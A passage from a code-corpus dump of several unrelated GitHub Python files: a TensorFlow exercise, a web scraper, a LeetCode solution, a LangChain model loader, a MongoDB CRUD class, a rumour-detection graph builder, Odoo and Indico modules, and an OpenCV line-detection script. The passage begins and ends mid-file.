(approx. 1 line)\n    one_hot_matrix = tf.one_hot(labels, C, axis = 0)\n    # Create the session (approx. 1 line)\n    sess = tf.Session()\n    # Run the session (approx. 1 line)\n    one_hot = sess.run(one_hot_matrix)\n    # Close the session (approx. 1 line). See method 1 above.\n    sess.close()\n    ### END CODE HERE ###\n    return one_hot\nlabels = np.array([1,2,3,0,2,1])\none_hot = one_hot_matrix(labels, C = 4)\nprint (\"one_hot = \" + str(one_hot))\n\n\n# GRADED FUNCTION: ones\ndef ones(shape):\n    \"\"\"\n    Creates an array of ones of dimension shape\n    Arguments:\n    shape -- shape of the array you want to create\n    Returns:\n    ones -- array containing only ones\n    \"\"\"\n    ### START CODE HERE ###\n    # Create \"ones\" tensor using tf.ones(...). (approx. 1 line)\n    ones = tf.ones(shape)\n    # Create the session (approx. 1 line)\n    sess = tf.Session()\n    # Run the session to compute 'ones' (approx. 1 line)\n    ones = sess.run(ones)\n    # Close the session (approx. 1 line). See method 1 above.\n    sess.close()\n    ### END CODE HERE ###\n    return ones\n\nprint (\"ones = \" + str(ones([3])))\n\n\n\n\n\n","repo_name":"guoliming1989/MachineExperiment","sub_path":"Week23/TestWeek231.py","file_name":"TestWeek231.py","file_ext":"py","file_size_in_byte":5960,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"9490250742","text":"from selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\nwebdriver = webdriver.Chrome()\nwebdriver.get('https://www.roamright.com/country/list/')\n\ncontent = webdriver.page_source\nbeautifulSoup = BeautifulSoup(content, features='html.parser')\n\nplaces = []\ndescriptions = []\n\nfor div in beautifulSoup.findAll('div', attrs={'class': 'media-body'}):\n    place = div.find('a')\n    places.append(place.text)\n    description_including_empties = div.find_all('p')\n    for description in description_including_empties:\n        if (description.text != ''):\n            descriptions.append(description.text)\n\n\ndataframe = pd.DataFrame({'Place':places, 'Description':descriptions})\ndataframe.to_csv('places_descriptions.csv', index=False, encoding='utf-8')\n\nwebdriver.close()\n","repo_name":"MarcoYuen17/Vacation-Destination-Selector","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42184583459","text":"'''\nSymmetric Tree\nEasy\n\nGiven the root of a binary tree, check whether it is a mirror of itself (i.e., symmetric around its center).\n\n \n\nExample 1:\n\nInput: root = [1,2,2,3,4,4,3]\nOutput: true\n\nExample 2:\n\nInput: root = [1,2,2,null,3,null,3]\nOutput: false\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def isSymmetric(self, root: TreeNode) -> bool:\n        if root == None:\n            return True\n        \n        return self.is_symmetric(root.left, root.right)\n    \n    def is_symmetric(self, left, right):\n        if left == None or right == None:\n            return left == right\n        \n        if left.val != right.val:\n            return False\n        \n        return self.is_symmetric(left.left, right.right) and self.is_symmetric(left.right, right.left)\n","repo_name":"k4u5h4L/algorithms","sub_path":"leetcode/Symmetric_Tree.py","file_name":"Symmetric_Tree.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27504788090","text":"#!/usr/bin/env python3\nimport logging\nimport os\nfrom time import monotonic\n\nimport torch\nfrom dotenv import load_dotenv\nfrom langchain import HuggingFacePipeline, HuggingFaceHub, LLMChain, PromptTemplate\nfrom langchain.callbacks.base import BaseCallbackHandler\nfrom langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler\nfrom langchain.llms import LlamaCpp, GPT4All, OpenAI\nfrom langchain.schema import Document\nfrom torch import cuda as torch_cuda\nfrom transformers import LlamaForCausalLM\nfrom transformers import LlamaTokenizer\nfrom transformers import pipeline\n\nfrom scripts import app_logs\nfrom scripts.app_environment import model_type, openai_api_key, model_n_ctx, model_temperature, model_top_p, model_n_batch, model_use_mlock, model_verbose, \\\n    huggingface_hub_key, args, db_get_only_relevant_docs, gpt4all_backend, model_path_or_id, gpu_is_enabled, cpu_model_n_threads, gpu_model_n_threads, model_n_answer_words\nfrom scripts.app_qa_builder import print_document_chunk, print_hyperlink, process_database_question, process_query\nfrom scripts.app_user_prompt import prompt\n\n# Ensure TOKENIZERS_PARALLELISM is set before importing any HuggingFace module.\nos.environ[\"TOKENIZERS_PARALLELISM\"] = \"true\"\n# load environment variables\n\ntry:\n    load_dotenv()\nexcept Exception as e:\n    logging.error(\"Error loading .env file, create one from example.env:\", str(e))\n\n\ndef get_gpu_memory() -> int:\n    \"\"\"\n    Returns the amount of free memory in MB for each GPU.\n    \"\"\"\n    return int(torch_cuda.mem_get_info()[0] / (1024 ** 2))\n\n\n# noinspection PyPep8Naming\ndef calculate_layer_count() -> None | int | float:\n    \"\"\"\n    How many layers of a neural network model you can fit into the GPU memory,\n    rather than determining the number of threads.\n    The layer size is specified as a constant (120.6 MB), and the available GPU memory is divided by this to determine the maximum number of layers that can be fit onto the GPU.\n    Some additional memory (the size of 6 layers) is reserved for other uses.\n    The maximum layer count is capped at 32.\n    \"\"\"\n    if not gpu_is_enabled:\n        return None\n    LAYER_SIZE_MB = 120.6  # This is the size of a single layer on VRAM, and is an approximation.\n    # The current set value is for 7B models. For other models, this value should be changed.\n    LAYERS_TO_REDUCE = 6  # About 700 MB is needed for the LLM to run, so we reduce the layer count by 6 to be safe.\n    if (get_gpu_memory() // LAYER_SIZE_MB) - LAYERS_TO_REDUCE > 32:\n        return 32\n    else:\n        return get_gpu_memory() // LAYER_SIZE_MB - LAYERS_TO_REDUCE\n\n\ndef get_llm_instance(*callback_handler: BaseCallbackHandler):\n    logging.debug(f\"Initializing model...\")\n\n    callbacks = [] if args.mute_stream else callback_handler\n\n    if model_type == \"gpt4all\":\n        if gpu_is_enabled:\n            logging.warn(\"GPU is enabled, but GPT4All does not support GPU acceleration. Please use LlamaCpp instead.\")\n            exit(1)\n        return GPT4All(\n            model=model_path_or_id,\n            n_ctx=model_n_ctx,\n            backend=gpt4all_backend,\n            callbacks=callbacks,\n            use_mlock=model_use_mlock,\n            n_threads=gpu_model_n_threads if gpu_is_enabled else cpu_model_n_threads,\n            n_predict=1000,\n            n_batch=model_n_batch,\n            top_p=model_top_p,\n            temp=model_temperature,\n            streaming=False,\n            verbose=False\n        )\n    elif model_type == \"llamacpp\":\n        return LlamaCpp(\n            model_path=model_path_or_id,\n            temperature=model_temperature,\n            n_ctx=model_n_ctx,\n            top_p=model_top_p,\n            n_batch=model_n_batch,\n            use_mlock=model_use_mlock,\n            n_threads=gpu_model_n_threads if gpu_is_enabled else cpu_model_n_threads,\n            verbose=model_verbose,\n            n_gpu_layers=calculate_layer_count() if gpu_is_enabled else None,\n            callbacks=callbacks,\n        )\n    elif model_type == \"huggingface-local\":\n        return HuggingFacePipeline(pipeline=pipeline(\n            \"text-generation\",\n            model=LlamaForCausalLM.from_pretrained(\n                model_path_or_id,\n                load_in_8bit=gpu_is_enabled if gpu_is_enabled else False,\n                device_map={\n                    '': 'cuda' if gpu_is_enabled else 'cpu',\n                    'transformer': 'cuda' if gpu_is_enabled else 'cpu',\n                    'lm_head': 'cuda' if gpu_is_enabled else 'cpu',\n                },  # if GPU: device_map='auto',\n                torch_dtype=torch.float16 if gpu_is_enabled else torch.float32,\n                low_cpu_mem_usage=True\n            ),\n            tokenizer=LlamaTokenizer.from_pretrained(model_path_or_id),\n            max_length=2048,\n            temperature=model_temperature,\n            top_p=model_top_p,\n            repetition_penalty=1.15\n        ))\n    elif model_type == \"huggingface-hub\":\n        return LLMChain(\n            prompt=PromptTemplate(template=\"\"\"<|prompter|>{question}<|endoftext|><|assistant|>\"\"\", input_variables=[\"question\"]),\n            llm=HuggingFaceHub(\n                repo_id=model_path_or_id,\n                huggingfacehub_api_token=huggingface_hub_key\n            ),\n        )\n    #     return HuggingFaceHub(\n    #         repo_id=model_path_or_id,\n    #         task=\"summarization\",\n    #         huggingfacehub_api_token=huggingface_hub_key,\n    #         model_kwargs={\"temperature\": model_temperature, \"max_length\": 1000})\n    elif model_type == \"openai\":\n        assert openai_api_key is not None, \"Set ENV OPENAI_API_KEY, Get one here: https://platform.openai.com/account/api-keys\"\n        return OpenAI(openai_api_key=openai_api_key, callbacks=callbacks)\n    else:\n        logging.error(f\"Model {model_type} not supported!\")\n        raise Exception(f\"Model type {model_type} is not supported. Please choose one of the following: LlamaCpp, GPT4All\")\n\n\ndef main():\n    llm = get_llm_instance(StreamingStdOutCallbackHandler())\n    if llm is None:\n        logging.error(\"Could not initialize LLM instance.\")\n        return\n\n    selected_directory_list = prompt()\n\n    # Initialize a chat history list\n    chat_history = []\n\n    while True:\n        query = input(\"\\nEnter question (q for quit): \")\n        if query.strip() == \"\":\n            continue\n        if query == \"q\":\n            break\n\n        qa_list = []\n        for dir_name in selected_directory_list:\n            # Check if the directory name contains a slash, indicating a sub-collection\n            if \"/\" in dir_name:\n                # If so, split the string to separate the database name and the collection name\n                database_name, collection_name = dir_name.split(\"/\")\n            else:\n                # If not, the database name and the collection name are the same\n                database_name, collection_name = dir_name, dir_name\n\n            qa_list.append(process_database_question(database_name=database_name, llm=llm, collection_name=collection_name))\n\n        # Doesn't work very well for some reason won't send proper collection name to process_database_question?\n        # def worker(j):\n        #     return process_database_question(selected_directory_list[j], llm, selected_directory_list[j])\n        #\n        # with ThreadPoolExecutor() as executor:\n        #     qa_list = list(executor.map(worker, range(len(selected_directory_list))))\n\n        for i in range(len(qa_list)):\n            start_time = monotonic()\n            qa = qa_list[i]\n\n            print(f\"\\n\\033[94mSeeking for answer from: [{selected_directory_list[i]}]. May take some minutes...\\033[0m\")\n            answer, docs = process_query(qa, query, model_n_answer_words, chat_history, db_get_only_relevant_docs, translate_answer=True)\n            print(f\"\\033[94mTook {round(((monotonic() - start_time) / 60), 2)} min to process the answer!\\n\\033[0m\")\n\n            if isinstance(docs, Document):\n                doc = docs\n                print_hyperlink(doc)\n                print_document_chunk(doc)\n            else:\n                for doc in docs:\n                    print_hyperlink(doc)\n                    print_document_chunk(doc)\n\n\nif __name__ == \"__main__\":\n    app_logs.initialize_logging()\n\n    main()\n","repo_name":"experimentinguser/scrapalot-chat","sub_path":"scrapalot_main.py","file_name":"scrapalot_main.py","file_ext":"py","file_size_in_byte":8263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15980394908","text":"from pymongo import MongoClient\nfrom bson.objectid import ObjectId\n\nclass AnimalShelter(object):\n    \"\"\" CRUD Operations for Animal Collection in MongoDB \"\"\"\n    \n    # Declare one's self into existence\n    def __init__(self, username, password):\n        self.client = MongoClient('mongodb://%s:%s@localhost:48219/?authMechanism=DEFAULT&authSource=admin'%(username, password))\n        self.database = self.client['AAC']\n    \n    # Insert data into the animals collection\n    def create(self, data):\n        \n        # Double-check the user actually provided data to be created\n        if data is None:\n            raise Exception(\"PLEASE NOTE: Data must be provided in order to be saved.\")\n        \n        # Instantiate a variable for the created data to utilize as an \"existence check\"\n        saved = self.database.animals.insert_one(data)\n        \n        # Subsequently, check if the created data is null within the animals collection\n        # Return False or True depending on the result\n        return False if saved is None else True\n    \n    # Search for data within the animals collection\n    def read(self, query):\n        \n        # Double-check the user actually provided a query to be filtered with\n        if query is None:\n            raise Exception(\"PLEASE NOTE: Cannot search for something that is not requested.\")\n        \n        # Return the data that results from the query search\n        return self.database.animals.find_one(query)\n    \n    # Pull all data within the animals collection\n    def readAll(self, data):\n        \n        # Return a cursor that acts like a stopping point of all data before it\n        cursor = self.database.animals.find(data, {\"_id\":False})\n        return cursor\n    \n    # Update data that is already present in the animals collection\n    def update(self, query, data):\n        \n        # Double-check the user actually provided data to be updated\n        if data is None:\n            raise Exception(\"PLEASE NOTE: In order to update, new information must be provided.\")\n        \n        # Double-check the user wishes to update information that can be updated instead of created\n        if query is None:\n            raise Exception(\"PLEASE NOTE: In order to update, present information must be provided.\\nOtherwise, create data instead.\")\n        \n        # Updating is involved.  TRY to see if it is successful\n        try:\n            updated = self.database.animals.find_one_and_update(query, {\"$set\":data}, {\"upsert\":True, \"new\":True})\n            \n            # Check if the update was successful or not based on if the newly updated document was returned...\n            if updated is not None:\n                \n                # ... if so, return the data as a JSON\n                print(\"PLEASE NOTE: Successful update.\")\n                return updated\n            else:\n                \n                # ... and if not, let the user know\n                raise Exception(\"ERROR: Could not update the query.\")\n                \n        except Exception as exc:\n            print(\"ERROR: Something went wrong in the updating process:\", exc)\n    \n    # Delete data from the animals collection\n    def delete(self, data):\n        \n        # Double-check the user actually provided data to be deleted\n        if data is None:\n            raise Exception(\"PLEASE NOTE: To delete one's self, one's self must present one's self to be deleted.\")\n        \n        # Deleting is involved; TRY it to see if it is successful\n        try:\n            preDeleted = self.database.animals.find_one(data)\n            deleted = self.database.animals.find_one_and_delete(data, {\"new\":False})\n            \n            # Check if the deletion registers...\n            if deleted is not None:\n                \n                # ... if so, let the user know and return the deleted data as affirmation...\n                print(\"PLEASE NOTE: Deletion successful.\")\n                return preDeleted\n            else:\n                \n                # ... otherwise, let the user know deletion did not occur\n                raise Exception(\"PLEASE NOTE: Nothing could be deleted with the given parameters.\")\n        \n        # If the deletion attempt was unsuccessful for any reason, showcase the error to the user\n        except Exception as exc:\n            print(\"ERROR: Something went wrong in the deletion process:\", exc)","repo_name":"ThatGreaserGuy/CS-340","sub_path":"CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12512420130","text":"import os\r\nimport sys\r\nimport numpy as np\r\n\r\n\r\ndatasets_path = 'external_maf/datasets/data/lhc'\r\ndataset_name = sys.argv[1]\r\n\r\nsignal_file_name = os.path.join(datasets_path, \"sig_{}.npy\".format(dataset_name))\r\nbackground_file_name = os.path.join(datasets_path, \"bg_{}.npy\".format(dataset_name))\r\n\r\nsig = np.nan_to_num(np.load(signal_file_name))\r\nsig = np.append(sig, np.ones((sig.shape[0], 1)), axis=1)\r\nbg = np.nan_to_num(np.load(background_file_name))\r\nbg = np.append(bg, np.zeros((bg.shape[0], 1)), axis=1)\r\n\r\ndata = np.append(sig, bg, axis=0)\r\n\r\nnp.save(os.path.join(datasets_path, \"lhc_{}.npy\".format(dataset_name)), data)\r\n","repo_name":"RotemMayo/NAF","sub_path":"combine_bg_sig_dataset.py","file_name":"combine_bg_sig_dataset.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15995577355","text":"# -*- coding: utf-8 -*-\nimport os\nimport pdb\nimport numpy as np\nfrom joblib import Parallel, delayed\nfrom tqdm import tqdm\nimport sys\nimport argparse\nfrom nltk.tokenize import TweetTokenizer\nimport preprocessor as pre\nimport pandas as pd\n\ncwd=os.getcwd()\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='build data graph to npz file')\n    parser.add_argument('-format', type=str, default='txt_emb')\n    parser.add_argument('-obj', type=str, default='')\n    parser.add_argument('-early', type=str, default='')\n    parser.add_argument('-class_num', type=int, default=2)\n    args = parser.parse_args()\n    return args\n\ndef clean_data(line):\n    ## Remove @, reduce length, handle strip\n    tokenizer = TweetTokenizer(strip_handles=False, reduce_len=True)\n    line = ' '.join(tokenizer.tokenize(line))\n\n    ## Remove url, emoji, mention, prserved words, only preserve smiley\n    #pre.set_options(pre.OPT.URL, pre.OPT.EMOJI, pre.OPT.MENTION, pre.OPT.RESERVED)\n    #pre.set_options(pre.OPT.URL, pre.OPT.RESERVED, pre.OPT.MENTION)\n    pre.set_options(pre.OPT.URL, pre.OPT.RESERVED)\n    line = pre.tokenize(line)\n\n    ## Remove non-sacii \n    line = ''.join([i if ord(i) else '' for i in line]) # remove non-sacii\n    return line\n\n\n\nclass Node_tweet(object):\n    def __init__(self, idx=None):\n        self.children = []\n        self.idx = idx\n        self.word = []\n        self.index = []\n        self.parent = None\n\ndef str2matrix(Str):  # str = index:wordfreq index:wordfreq\n    wordFreq, wordIndex = [], []\n    for pair in Str.split(' '):\n        freq=float(pair.split(':')[1])\n        index=int(pair.split(':')[0])\n        if index<=5000:\n            wordFreq.append(freq)\n            wordIndex.append(index)\n    return wordFreq, wordIndex\n\ndef constructMat(tree):\n    index2node = {}\n    for i in tree:\n        node = Node_tweet(idx=i)\n        index2node[i] = node\n    for j in tree:\n        indexC = j\n        indexP = tree[j]['parent']\n        nodeC = index2node[indexC]\n        wordFreq, wordIndex = str2matrix(tree[j]['vec'])\n        nodeC.index = wordIndex\n        nodeC.word = wordFreq\n        ## not root node ##\n        if not indexP == 'None':\n            nodeP = index2node[int(indexP)]\n            nodeC.parent = nodeP\n            nodeP.children.append(nodeC)\n        ## root node ##\n        else:\n            rootindex=indexC-1\n            root_index=nodeC.index\n            root_word=nodeC.word\n    rootfeat = np.zeros([1, 5000])\n    if len(root_index)>0:\n        rootfeat[0, np.array(root_index)] = np.array(root_word)\n    matrix=np.zeros([len(index2node),len(index2node)])\n    row=[]\n    col=[]\n    x_word=[]\n    x_index=[]\n    for index_i in range(len(index2node)):\n        for index_j in range(len(index2node)):\n            if index2node[index_i+1].children != None and index2node[index_j+1] in index2node[index_i+1].children:\n                matrix[index_i][index_j]=1\n                row.append(index_i)\n                col.append(index_j)\n        x_word.append(index2node[index_i+1].word)\n        x_index.append(index2node[index_i+1].index)\n    edgematrix=[row,col]\n    return x_word, x_index, edgematrix,rootfeat,rootindex\n\ndef constructMat_txt(tree):\n    index2node = {}\n    for i in tree:\n        node = Node_tweet(idx=i)\n        index2node[i] = node\n    for j in tree:\n        indexC = j\n        indexP = tree[j]['parent']\n        nodeC = index2node[indexC]\n        text = tree[j]['vec'] # raw text\n        nodeC.text = text\n        ## not root node ##\n        if not indexP == 'None':\n            #nodeP = index2node[indexP]\n            nodeP = index2node[int(indexP)]\n            nodeC.parent = nodeP\n            nodeP.children.append(nodeC)\n        ## root node ##\n        else:\n            rootindex=indexC-1\n            root_text = text\n    matrix=np.zeros([len(index2node),len(index2node)])\n    row=[]\n    col=[]\n    x_text=[]\n    for index_i in range(len(index2node)):\n        for index_j in range(len(index2node)):\n            if index2node[index_i+1].children != None and index2node[index_j+1] in index2node[index_i+1].children:\n                matrix[index_i][index_j]=1\n                row.append(index_i)\n                col.append(index_j)\n        x_text.append(clean_data(index2node[index_i+1].text))\n    if row == [] and col == []:\n        matrix[0][0] = 1\n        row.append(0)\n        col.append(0)\n    edgematrix=[row,col]\n    return x_text, edgematrix, root_text, rootindex\n\ndef getfeature(x_word,x_index):\n    x = np.zeros([len(x_index), 5000])\n    for i in range(len(x_index)):\n        if len(x_index[i])>0:\n            x[i, np.array(x_index[i])] = np.array(x_word[i])\n    return x\n\ndef buildgraph(obj, format_, class_num, portion='', texts=None, labels=None):\n    \"\"\"\n    labels: lines with label and event id\n    \"\"\"\n    if texts is None:\n        if format_ == 'idx_cnt':\n            treePath = os.path.join(cwd, '../dataset/' + obj + '/data.TD_RvNN.vol_5000.{}txt'.format(portion))\n            print(\"loading text from \", treePath)\n        elif format_ == 'txt_emb':\n            treePath = os.path.join(cwd, '../dataset/' + obj + '/data.text.{}txt'.format(portion))\n            print(\"loading text from\", treePath)\n        texts = open(treePath)\n        \n        treeDic = {}\n        f_tree = open(treePath, 'r')\n        for line in f_tree:\n            # maxL: max # of clildren nodes for a node; max_degree: max # of the tree depth\n            line = line.rstrip()\n\n            eid, indexP, indexC, max_degree, maxL = line.split(\"\\t\")[:5]\n            Vec = line.split(\"\\t\")[-1]\n            indexC = int(indexC)\n            max_degree = int(max_degree)\n            maxL = int(maxL)\n\n            if not treeDic.__contains__(eid):\n                # If the event id hasn't been contained\n                treeDic[eid] = {}\n            treeDic[eid][indexC] = {'parent': indexP, 'max_degree': max_degree, 'maxL': maxL, 'vec': Vec}\n        f_tree.close()\n    else:\n        treeDic = {}\n        for _, line in texts.iterrows():\n\n            eid, indexP, indexC, max_degree, maxL = line[:5]\n            Vec = line[len(line)-1]\n            eid = str(eid)\n            indexC = int(indexC)\n            max_degree = int(max_degree)\n            maxL = int(maxL)\n\n            if not treeDic.__contains__(eid):\n                # If the event id hasn't been contained\n                treeDic[eid] = {}\n            treeDic[eid][indexC] = {'parent': indexP, 'max_degree': max_degree, 'maxL': maxL, 'vec': Vec}\n\n    print('tree number:', len(treeDic))\n\n    # Prepare class name by class number\n    if class_num == 2:\n        labelset_0, labelset_1 = ['non-rumours', 'non-rumor', 'true'], ['rumours', 'rumor', 'false']\n        labelset_2, labelset_3 = [], []\n    elif class_num == 4:\n        labelset_0, labelset_1, labelset_2, labelset_3 = ['true'], ['false'], ['unverified'], ['non-rumor']\n    elif class_num == 3:\n        labelset_0, labelset_1, labelset_2, labelset_3 = ['true'], ['false'], ['unverified'], []\n\n    # Load the label file\n    if labels is None:\n        labels = pd.read_csv(os.path.join(cwd, \"../dataset/\" + obj + \"/data.label.txt\"), delimiter=\"\\t\", header=None)\n\n    print(\"loading tree label\")\n    event, y = [], []\n    l0 = l1 = l2 = l3 = 0\n    labelDic = {}\n\n    for _, line in labels.iterrows():\n        label, eid = line[0], str(line[1])\n        label=label.lower()\n        event.append(eid)\n        if label in labelset_0:\n            labelDic[eid]=0\n            l0 += 1\n        if label in labelset_1:\n            labelDic[eid]=1\n            l1 += 1\n        if label in labelset_2:\n            labelDic[eid]=2\n            l2 += 1\n        if label in labelset_3:\n            labelDic[eid]=3\n            l3 += 1\n    print(len(labelDic))\n    print(l1, l2)\n\n    if format_ =='idx_cnt':\n        os.makedirs(os.path.join(cwd, '../dataset/'+obj+'graph'), exist_ok=True)\n    elif format_ =='txt_emb':\n        print(os.path.join(cwd, '../dataset/'+obj+ 'textgraph'))\n        os.makedirs(os.path.join(cwd, '../dataset/'+obj+ 'textgraph'), exist_ok=True)\n\n    def loadEid(event, id, y, format_):\n        if event is None:\n            return None\n        if len(event) < 1:\n            return None\n        if len(event)>= 1:\n            if format_ == 'idx_cnt':\n                x_word, x_index, tree, rootfeat, rootindex = constructMat(event) \n                x_x = getfeature(x_word, x_index) # x_word: the occur times of words, x_index: the index of words\n                rootfeat, tree, x_x, rootindex, y = np.array(rootfeat), np.array(tree), np.array(x_x), np.array(\n                rootindex), np.array(y)\n                np.savez( os.path.join(cwd, '../dataset/'+obj+'graph/'+id+'.npz'), x=x_x,root=rootfeat,edgeindex=tree,rootindex=rootindex,y=y)\n            elif format_ == 'txt_emb':\n                x_text, tree, root_text, rootindex = constructMat_txt(event) \n                tree, rootindex, y = np.array(tree), np.array(rootindex), np.array(y)\n                np.savez( os.path.join(cwd, '../dataset/'+obj+'textgraph/'+id+'.npz'), x=x_text,root=root_text,edgeindex=tree,rootindex=rootindex,y=y)\n            return None\n\n    print(\"loading dataset\", )\n    Parallel(n_jobs=1, backend='threading')(delayed(loadEid)(treeDic[eid] if eid in treeDic else None,eid,labelDic[eid], format_) for eid in tqdm(event))\n    return treeDic\n\nif __name__ == '__main__':\n    args = parse_args()\n    obj = args.obj\n    if args.format=='idx_cnt':\n        path = os.path.join(cwd, '../dataset/'+obj+'graph/')\n        print('Building the graph data by index:cnt at ', path)\n    elif args.format=='txt_emb':\n        path = os.path.join(cwd, '../dataset/'+obj+'text'+'graph/')\n        print('Building the graph data by raw text at ', path)\n\n    portion = '{}.'.format(args.portion)\n    os.makedirs(path, exist_ok=True)\n    buildgraph(args.obj, args.format, args.class_num, portion)\n\n","repo_name":"yunzhusong/AARD","sub_path":"src/data/getgraph.py","file_name":"getgraph.py","file_ext":"py","file_size_in_byte":9831,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"35"}
{"seq_id":"23707565292","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\nimport time\n\n\nclass JasperReportCDReceivablePaymentHistory(models.TransientModel):\n    _name = 'jasper.report.cd.receivable.payment.history'\n    _inherit = 'report.account.common'\n\n    groupby = fields.Selection(\n        [('groupby_borrower_partner', 'Customer CD'),\n         ('groupby_partner', 'Customer (bank)')],\n        string='Group By',\n        default='groupby_borrower_partner',\n        required=True,\n    )\n    borrower_partner_ids = fields.Many2many(\n        'res.partner',\n        'payment_history_borrower_partner_rel',\n        'history_id', 'partner_id',\n        string='Customer CD',\n        domain=[('customer', '=', True)],\n    )\n    partner_ids = fields.Many2many(\n        'res.partner',\n        'payment_history_partner_rel',\n        'history_id', 'partner_id',\n        string='Customer (bank)',\n        domain=[('customer', '=', True)],\n    )\n\n    @api.onchange('groupby')\n    def _onchange_groupby(self):\n        self.borrower_partner_ids = False\n        self.partner_ids = False\n\n    @api.multi\n    def _get_report_name(self):\n        self.ensure_one()\n        report_name = \"cd_receivable_payment_history_group_by_customer\"\n        if self.groupby == \"groupby_partner\":\n            report_name = \"cd_receivable_payment_history_group_by_bank\"\n        return report_name\n\n    @api.multi\n    def _get_domain(self):\n        self.ensure_one()\n        dom = [('loan_agreement_id.state', 'in', ('bank_paid', 'done')),\n               ('loan_agreement_id.sale_id.state', 'in', ('progress', 'done'))]\n        if self.borrower_partner_ids:\n            dom += [('loan_agreement_id.borrower_partner_id', 'in',\n                     self.borrower_partner_ids.ids)]\n        if self.partner_ids:\n            dom += [('loan_agreement_id.partner_id', 'in',\n                     self.partner_ids.ids)]\n        return dom\n\n    @api.multi\n    def _get_datas(self):\n        self.ensure_one()\n        data = {'parameters': {}}\n        dom = self._get_domain()\n        data['ids'] = \\\n            self.env['pabi.common.loan.agreement.report.view'].search(dom).ids\n        data['parameters']['user'] = self.env.user.display_name\n        data['parameters']['date_run'] = time.strftime('%d/%m/%Y')\n        return data\n\n    @api.multi\n    def run_report(self):\n        self.ensure_one()\n        return {\n            'type': 'ir.actions.report.xml',\n            'report_name': self._get_report_name(),\n            'datas': self._get_datas(),\n        }\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"pabi_account_report/reports/jasper_report_cd_receivable_payment_history.py","file_name":"jasper_report_cd_receivable_payment_history.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"959327310","text":"from MaKaC.webinterface.rh.conferenceDisplay import RHConferenceBaseDisplay\nfrom MaKaC.webinterface.pages import authors\nfrom MaKaC.webinterface import urlHandlers\n\nclass RHAuthorDisplayBase( RHConferenceBaseDisplay ):\n\n    def _checkParams( self, params ):\n        RHConferenceBaseDisplay._checkParams( self, params )\n        self._authorId = params.get( \"authorId\", \"\" ).strip()\n\n\nclass RHAuthorDisplay( RHAuthorDisplayBase ):\n    _uh = urlHandlers.UHContribAuthorDisplay\n    \n    def _process( self ):\n        p = authors.WPAuthorDisplay( self, self._conf, self._authorId )\n        return p.display()\n\n\n        \n","repo_name":"flannery/indico-flannery","sub_path":"indico/MaKaC/webinterface/rh/authorDisplay.py","file_name":"authorDisplay.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35260125253","text":"import cv2\nimport numpy as np\nimport math\n\ndef longestVerticalLine(key,arr):\n    ls = []\n    for line in arr:\n        ls.append(line[1])\n        ls.append(line[3])\n    ls = sorted(ls)\n    return key,ls[0],key,ls[len(ls)-1]\ndef longestHoriLine(key,arr):\n    ls = []\n    for line in arr:\n        ls.append(line[0])\n        ls.append(line[2])\n    ls = sorted(ls)\n    return ls[0],key,ls[len(ls)-1],key\n\ndef imagetoLines(img,w,h):\n# img = cv2.imread('loll.jpeg')\n    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    edges = cv2.Canny(gray,50,200,apertureSize = 3)\n    lines = cv2.HoughLinesP(\n        edges,\n        rho=6,\n        theta=np.pi / 180,\n        threshold=120,\n        lines=np.array([]),\n        minLineLength=50,\n        maxLineGap=40\n    )\n    hori_line = []\n    vertical_line = []\n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            if x1 != x2:\n                slope = (y2 - y1) / (x2 - x1) # <-- Calculating the slope.\n                if abs(slope) < 0.5:\n                    hori_line.append([x1, y1, x2, y2])\n                else:\n                    vertical_line.append([x1, y1, x2, y2])\n\n\n    hori_line = sorted(hori_line,key=lambda x: x[1])\n    usy = hori_line[0][1]\n    udict = {}\n    udict[usy] = [hori_line[0]]\n    for line in hori_line:\n        if abs(usy - line[1]) < 100:\n            arr = udict[usy]\n            arr.append(line)\n            udict[usy] = arr\n        else:\n            usy =  line[1]\n            udict[usy] = [line]\n\n    vertical_line = sorted(vertical_line,key=lambda x: x[0])\n    usy1 = vertical_line[0][0]\n    udict1 = {}\n    udict1[usy1] = [vertical_line[0]]\n    for line in vertical_line:\n        if abs(usy1 - line[0]) < 100:\n                arr = udict1[usy1]\n                arr.append(line)\n                udict1[usy1] = arr\n        else:\n            usy1 =  line[0]\n            udict1[usy1] = [line]\n    longest_hori_lines = []\n    longest_vert_lines = []\n    for key in udict1.keys():\n        x1,y1,x2,y2 = longestVerticalLine(key,udict1[key])\n        if y1 < y2:\n            position_x = -(w/2) + x1\n            position_y = -(h/3.6) + y1\n        else:\n            position_x = -(w/2) + x2\n            position_y = -(h/3.6) + y2\n        line  = abs(y2 - y1)\n        longest_vert_lines.append([position_x,position_y,line])\n    for key in udict.keys():\n        x1,y1,x2,y2 =  longestHoriLine(key,udict[key])\n        if x1 < x2:\n            position_x = -(w/2) + x1\n            position_y = -(h/2) + y1\n        else:\n            position_x = -(w/2) + x2\n            position_y = -(h/2) + y2\n        position_x = -(w/4) + x1\n        position_y = -(h/2) + 